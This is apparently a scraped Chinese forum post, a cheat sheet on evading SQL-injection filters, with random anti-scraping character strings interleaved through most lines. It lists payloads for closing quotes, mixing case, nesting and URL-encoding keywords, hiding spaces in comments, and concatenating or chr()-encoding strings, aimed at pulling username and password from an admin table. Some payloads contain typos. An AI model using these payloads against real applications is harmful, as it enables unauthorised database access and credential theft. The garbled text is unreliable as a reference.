SQL注入。有攻有防。知道进攻。才懂得防守.
; N* c; j4 z) `7 X% V5 {, i2 [ ?# X/ L( u
有的时候,很容易受到SQL注入攻击的程序,可能会进行输入过滤,用来防止攻击者无限制的利用其中存在的设计缺陷。 Q1 w9 K4 j* N4 Z u, `8 ^
* |4 n) i4 A4 w6 T! M
唱出会删除或者净化一些字符,或者阻止常用的sql关键词。
4 ]0 n/ n6 _' e: o- w
0 R' o& K& H+ m我们通常有以下几种技巧,去避开这些过滤。1 ^+ w5 C' ?- I0 x
3 N# _0 e# N7 p$ u1,避免使用被阻止的字符,即不使用这些字符仍然达到攻击目的。3 e8 x# L" M. L9 Z& H& M3 T
% ?( a2 @0 x; h" g: o# D! ~" vA,如果注入一个数字数据字段,就不需要使用单引号。( p( M1 Q. q" ?0 I/ m
( a% L+ ~4 U; cB,输入注释符号被阻止使用,我们可以设计注入的数据,既不破坏周围的查询语法。3 ]$ ~. ]) _# v7 N! L+ m* m! F$ u8 m
. d' e# {- [1 q3 Q' M& E
比如, ?id=1′ 这里存在注入,过滤了注释符合,我们可以输入 ?id=1′ or ‘a’=’a
1 H6 _/ y1 w) A, @3 c6 p- x7 u
5 i; }' X( ]7 u- X目的其实很简单,就是把后面的单引号给闭合掉。
$ x7 I7 J( A {
; V7 Y, e; {) x! P, wC,在一个MSSQL注入中注入批量查询的时候,不必使用分号分隔符。
0 P# C7 t: E' W$ s0 t- S) z9 J& m9 O
只要纠正所有批量查询的语法,无论你是否使用分号,查询的解析器依然能正确的去解释它们的。$ G+ r, s% O2 T* K |2 x3 o
: c7 j+ ^5 S O. e7 o
2,避免使用简单确认, ~0 D( }, i( O: ?0 l
/ N% F; a& p4 W5 i0 c/ h! R一些输入确认机制使用一个简单的黑名单,组织或删除任何出现在这个名单中的数据,比如防注入程序。
5 d. X) z `- Q7 w7 o8 k6 K$ P
这一般要看这个机制是否做的足够的好了,黑名单是否足够能确保安全。如果只是简单的黑名单,那也有机会突破的。
+ _# f! R" Q- N" G. R, {0 O* |' l* L" W9 w& _
A,如果select关键词被阻止或删除
9 ^$ P2 C! }* u3 n {3 J) \! z3 A5 c' o* i( I
我们可以输入:, A: v! W. f1 c' J- g9 x) R
2 ^, d1 M$ [! Q0 n7 {
SeLeCt 注意大小写
4 U5 L4 b# [6 ` F+ P, D. ?
4 s, v( ^+ k3 e: }! i: J; Qselselectect 还记得ewebeditor是怎么过滤asp的么?
: A- X9 r% q" t8 C& f
' j2 P( h4 |5 G; _%53%45%4c%45%43%54 URL编码/ o! y0 w5 J; m0 h9 l
/ n+ F7 b2 W* L$ {
%2553%2545%254c%2545%2543%2554 对上面的每个%后加了一个25/ |( Y n* Q) @& [/ ^
. ~4 t* H& Y+ O4 f: h( ^
3,使用SQL注释符
' ~8 C1 k5 ?/ J" r1 Z+ O1 N5 L7 {( b4 H
A,使用注释来冒充注入的数据中的空格。$ w! S/ y2 x8 J Q' }, t; `
4 V: Y& \5 @' J rselect/*yesu*/username,password/*yesu*/from/*yesu*/admin5 j* A- q6 t/ i- r! z" ~6 n1 n
0 R. c, P$ j2 }* n( @9 X" h/*yesu*/来冒充空格
6 \; R9 C0 L5 M; ]+ O% h% G8 S1 l0 f3 M
B,使用注释来避开某些注入的确认过滤。( a: c$ K1 q' K9 K* r# \
H# G. Z' X% P4 O5 u% J
SEL/*yesu*/ECT username,password fr/*yesu*/om admin
R" U% O3 x- A4 ?
' D c3 H& C1 T, ^4,处理被阻止的字符串
& l' e/ ~* V5 E P' r" \& r6 S# V" g# e
比如,程序阻止了admin,因为怕攻击者注入admin表单中的数据。
8 l# [( c& R6 O: Z! D5 [1 |5 o
# e& ?6 y: {' J" Y+ Q2 [我们可以这样" I/ a+ W( V* Q: [1 K
; r, Q% {6 t4 OA,oracle数据库: ‘adm’||’in’ x1 U- f! N7 P( F$ L/ e
! p3 q4 l2 g. J7 n8 X4 \" S! z
B,MSSQL数据库: ‘adm’+’in’, X( c; k- L6 L+ V& L6 m
0 Q; m4 G+ M4 {( ^! e+ cC,MYSQL数据库: concat (‘adm’,’in’)1 F+ U1 F, g# Y; f
# y5 i( L+ G- j0 U( y
D,oracle中如果单引号被阻止了,还可以用chr函数7 b) [' a) m. _! \$ O
; G+ L- j& K0 `
sleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)
5 s/ f% H) E- K' F6 L3 @; |
8 z5 t1 u: B/ D$ L5 M- @还有其他方法。正在收集中.
+ ]3 k6 O# a+ K$ T
/ V8 J3 i# N9 M; v0 t |